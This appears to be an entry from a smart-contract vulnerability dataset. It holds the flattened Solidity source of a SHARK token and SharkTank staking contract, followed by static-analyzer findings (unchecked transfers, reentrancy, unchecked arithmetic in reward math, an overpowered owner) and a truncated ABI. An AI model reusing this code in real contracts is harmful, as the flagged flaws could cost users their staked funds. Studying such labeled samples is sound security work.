{IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/SharkToken.sol pragma solidity 0.6.2; contract SharkToken is ERC20("SHARK", "SHARK"), Ownable { function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } constructor( uint256 supply ) public { _mint(msg.sender, supply * (10 ** uint256(decimals()))); } } // File: contracts/SharkTank.sol pragma solidity 0.6.2; // Fishpool is the master of SHARK. He can make SHARK and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SHARK is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract SharkTank is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of FISHs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. FISHs to distribute per block. uint256 lastRewardBlock; // Last block number that FISHs distribution occurs. uint256 accRewardPerShare; // Accumulated FISHs per share, times 1e18. See below. } // The SHARK TOKEN! SharkToken public SHARK; // Dev address. address public devaddr; // Block number when bonus SHARK period ends. uint256 public bonusEndBlock; // SHARK tokens created per block. uint256 public rewardPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SHARK mining starts. uint256 public startBlock; // Reduction uint256 public reductionBlockCount; uint256 public nextReductionBlock = 0; uint256 public reductionPercent = 1; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( SharkToken _SHARK, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _reductionCount, uint256 _reductionBlockCount ) public { SHARK = _SHARK; rewardPerBlock = _rewardPerBlock; startBlock = _startBlock; bonusEndBlock = _reductionBlockCount * _reductionCount + _startBlock; reductionBlockCount = _reductionBlockCount; nextReductionBlock = _startBlock + _reductionBlockCount; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accRewardPerShare: 0 })); } // Update the given pool's SHARK allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getBlocksReward(uint256 _from, uint256 _to) public view returns (uint256) { if (_from >= bonusEndBlock) { return 0; } uint256 prevReductionBlock = nextReductionBlock - reductionBlockCount; _to = (_to > bonusEndBlock ? bonusEndBlock : _to); if (_from >= prevReductionBlock && _to <= nextReductionBlock) { return (_to - _from) * rewardPerBlock / reductionPercent; } else if (_from < prevReductionBlock && _to < nextReductionBlock) { uint256 part1 = (_to - prevReductionBlock) * rewardPerBlock / reductionPercent; uint256 part2 = (prevReductionBlock - _from) * rewardPerBlock / reductionPercent * 2; return part1 + part2; } else { uint256 part1 = (_to - nextReductionBlock) * rewardPerBlock / reductionPercent / 2; uint256 part2 = (nextReductionBlock - _from) * rewardPerBlock / reductionPercent; return part1 + part2; } // return 0; } // View function to see pending FISHs on frontend. function pendingReward(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accRewardPerShare = pool.accRewardPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blockReward = getBlocksReward(pool.lastRewardBlock, block.number); uint256 poolReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); accRewardPerShare = accRewardPerShare.add(poolReward.mul(1e18).div(lpSupply)); } return user.amount.mul(accRewardPerShare).div(1e18).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } if (block.number > nextReductionBlock && nextReductionBlock < bonusEndBlock){ nextReductionBlock += reductionBlockCount; reductionPercent *= 2; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 blockReward = getBlocksReward(pool.lastRewardBlock, block.number); uint256 poolReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); SHARK.mint(address(this), poolReward); pool.accRewardPerShare = pool.accRewardPerShare.add(poolReward.mul(1e18).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Fishpool for SHARK allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e18).sub(user.rewardDebt); if(pending > 0) { safeTokenTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e18); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Fishpool. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e18).sub(user.rewardDebt); if(pending > 0) { safeTokenTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e18); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe SHARK transfer function, just in case if rounding error causes pool to not have enough FISHs. function safeTokenTransfer(address _to, uint256 _amount) internal { uint256 bal = SHARK.balanceOf(address(this)); if (_amount > bal) { SHARK.transfer(_to, bal); } else { SHARK.transfer(_to, _amount); } } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1297"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["1304", "1282", "1326", "1363", "1345", "1283", "1327", "1364", "1346"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1321", "1314", "1317", "1234", "1287"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1186", "1234"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["769", "784", "796"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1219", "1221", "1310", "1309", "1258", "1267", "1268", "1273", "1274"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [277]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [376, 377, 378, 379]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1186]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1137]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [1309]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [1310]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [576, 574, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [297, 298, 299, 300, 301, 302, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [348, 349, 350]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [581, 582, 583]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [595, 596, 597, 598]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [677, 678, 679]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [435, 436, 437, 438]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [684, 685, 686]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [624, 622, 623]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [424, 425, 426, 427, 428, 429, 430, 431, 432, 433]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [240, 237, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [360, 361, 358, 359]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [650, 651, 652]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [629, 630, 631]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [636, 637, 638]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [1096, 1097, 1095]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [731, 732, 733, 734]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [691, 692, 693]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [440, 441, 442, 443]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [705, 706, 707]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [612, 613, 614]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [667, 668, 669]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SharkTank.sol": [323, 324, 325]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1268]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1289]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1320]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [960, 961, 962, 963, 964]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [792, 793, 794, 791]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1000, 997, 998, 999]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [881, 882, 883]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [912, 913, 914]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [924, 925, 926, 927]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [772, 773, 774]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [978, 979, 980, 981]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [800, 801, 802, 803, 804]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [873, 874, 875]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [905, 906, 907]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1124, 1125, 1126]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [944, 945, 946, 943]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1248, 1249, 1250, 1251, 1245, 1246, 1247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SharkTank.sol": [932, 933, 934]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [247]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1118]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [85]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1137]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [811]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [714]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [468]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [391]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [741]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"SharkTank.sol": [1313]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SharkTank.sol": [873, 874, 875]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SharkTank.sol": [881, 882, 883]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [367]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [301]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1235]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1249]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1312]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1319]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1184]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1254]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1325]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1254]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1303]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1344]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1344]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1245]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1325]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1124]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1245]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1362]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1124]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1281]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1230]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1245]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1281]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1230]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [1230]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"SharkTank.sol": [726, 727, 728, 729, 730, 731, 732, 733, 734, 735]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1340]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1358]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SharkTank.sol": [1366]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1249]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1368]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1357]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1321]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1235]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1339]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"SharkTank.sol": [1354]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"SharkTank.sol": [1375]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"SharkTank.sol": [1377]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 793, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1039, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1060, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 1268, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 943, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1297, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1245, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 85, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 247, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 391, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 468, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 714, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 741, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 811, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 756, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 845, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 847, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 849, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 851, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 852, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 853, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 406, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 842, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1155, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 270, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 410, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 414, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 432, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 437, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 442, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 301, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 301, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 301, "severity": 1}]
[{"inputs":[{"internalType":"contract SharkToken","name":"_SHARK","type":"address"},{"internalType":"uint256","name":"_rewardPerBlock","type":"uint256"},{"internalType":"uint256","name":"_startBlock","type":"uint256"},{"internalType":"uint256","name":"_reductionCount","type":"uint256"},{"internalType":"uint256","name":"_reductionBlockCount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalTy